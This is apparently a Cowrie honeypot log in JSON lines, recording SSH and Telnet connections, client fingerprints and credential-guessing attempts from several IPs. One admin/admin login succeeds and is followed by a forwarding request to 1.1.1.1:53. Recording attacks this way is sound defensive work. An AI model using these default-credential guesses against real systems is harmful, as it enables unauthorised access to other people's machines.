{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":60564,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e450a576f77","protocol":"ssh","message":"New connection: 122.168.114.167:60564 (159.203.135.109:22) [session: 0e450a576f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:01:58.611323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:02:01.038849Z","src_ip":"122.168.114.167","session":"0e450a576f77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:02:01.042947Z","src_ip":"122.168.114.167","session":"0e450a576f77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.773813486099243,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:02:09.860628Z","src_ip":"106.215.94.143","session":"6bc7bace31de","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:02:10.356358Z","src_ip":"122.168.114.167","session":"0e450a576f77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:02:13.691449Z","src_ip":"122.168.114.167","session":"0e450a576f77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00161719322205,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:02:16.508599Z","src_ip":"45.5.241.8","session":"367c0474826c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":39584,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1ef87ade063","protocol":"ssh","message":"New connection: 87.251.64.176:39584 (10.17.0.5:22) [session: a1ef87ade063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:02:21.984710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:02:21.989607Z","src_ip":"87.251.64.176","session":"a1ef87ade063","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:02:22.086685Z","src_ip":"87.251.64.176","session":"a1ef87ade063","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:02:22.378952Z","src_ip":"87.251.64.176","session":"a1ef87ade063","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:02:22.478614Z","session":"a1ef87ade063","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:02:22.578111Z","src_ip":"87.251.64.176","session":"a1ef87ade063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:02:22.810517Z","src_ip":"87.251.64.176","session":"a1ef87ade063","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":34734,"dst_ip":"159.203.135.109","dst_port":22,"session":"63a574409dbe","protocol":"ssh","message":"New connection: 122.168.114.167:34734 (159.203.135.109:22) [session: 63a574409dbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:02:40.123861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:02:41.659690Z","src_ip":"122.168.114.167","session":"63a574409dbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:02:41.665272Z","src_ip":"122.168.114.167","session":"63a574409dbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":39960,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2d7f54c06ee","protocol":"telnet","message":"New connection: 41.76.108.55:39960 (159.203.135.109:23) [session: c2d7f54c06ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:02:48.616520Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":40322,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4d4b30a853b","protocol":"telnet","message":"New connection: 41.76.108.55:40322 (159.203.135.109:23) [session: c4d4b30a853b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:02:48.698610Z"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:02:50.900553Z","src_ip":"122.168.114.167","session":"63a574409dbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:02:54.883700Z","src_ip":"122.168.114.167","session":"63a574409dbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":45254,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fc9617a59ca","protocol":"ssh","message":"New connection: 159.223.45.177:45254 (159.203.135.109:22) [session: 0fc9617a59ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:12.148060Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:14.916856Z","src_ip":"159.223.45.177","session":"0fc9617a59ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.638179302215576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:19.336694Z","src_ip":"41.76.108.55","session":"c4d4b30a853b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02372121810913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:19.640171Z","src_ip":"41.76.108.55","session":"c2d7f54c06ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":37126,"dst_ip":"159.203.135.109","dst_port":22,"session":"29bf3288cd4d","protocol":"ssh","message":"New connection: 122.168.114.167:37126 (159.203.135.109:22) [session: 29bf3288cd4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:19.681533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:21.632414Z","src_ip":"122.168.114.167","session":"29bf3288cd4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:21.635792Z","src_ip":"122.168.114.167","session":"29bf3288cd4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":54884,"dst_ip":"10.17.0.5","dst_port":22,"session":"b57a93427f73","protocol":"ssh","message":"New connection: 210.114.22.126:54884 (10.17.0.5:22) [session: b57a93427f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:25.309372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:25.609268Z","src_ip":"210.114.22.126","session":"b57a93427f73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:25.808900Z","src_ip":"210.114.22.126","session":"b57a93427f73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftpuser","message":"login attempt [ftptest/ftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:26.912895Z","src_ip":"210.114.22.126","session":"b57a93427f73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:28.117801Z","src_ip":"210.114.22.126","session":"b57a93427f73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:31.209825Z","src_ip":"122.168.114.167","session":"29bf3288cd4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:34.755617Z","src_ip":"122.168.114.167","session":"29bf3288cd4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":17019,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0c71be15070","protocol":"ssh","message":"New connection: 213.209.159.159:17019 (10.17.0.5:22) [session: a0c71be15070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:44.495807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:44.545972Z","src_ip":"213.209.159.159","session":"a0c71be15070","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:44.624493Z","src_ip":"213.209.159.159","session":"a0c71be15070","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jericho","password":"jericho","message":"login attempt [jericho/jericho] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:44.983095Z","src_ip":"213.209.159.159","session":"a0c71be15070","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jericho","password":"jericho1","message":"login attempt [jericho/jericho1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:46.069070Z","src_ip":"213.209.159.159","session":"a0c71be15070","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jericho","password":"jericho123","message":"login attempt [jericho/jericho123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:47.154472Z","src_ip":"213.209.159.159","session":"a0c71be15070","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jericho","password":"jericho1234","message":"login attempt [jericho/jericho1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:48.240641Z","src_ip":"213.209.159.159","session":"a0c71be15070","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jericho","password":"jericho12345","message":"login attempt [jericho/jericho12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:49.324671Z","src_ip":"213.209.159.159","session":"a0c71be15070","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:50.408805Z","src_ip":"213.209.159.159","session":"a0c71be15070","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":39538,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ba7102d8d5e","protocol":"ssh","message":"New connection: 122.168.114.167:39538 (159.203.135.109:22) [session: 9ba7102d8d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:57.441045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:59.542772Z","src_ip":"122.168.114.167","session":"9ba7102d8d5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:03:59.546874Z","src_ip":"122.168.114.167","session":"9ba7102d8d5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:04:09.127094Z","src_ip":"122.168.114.167","session":"9ba7102d8d5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.5","message":"Connection lost after 14.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:04:11.950828Z","src_ip":"122.168.114.167","session":"9ba7102d8d5e","protocol":"ssh"}
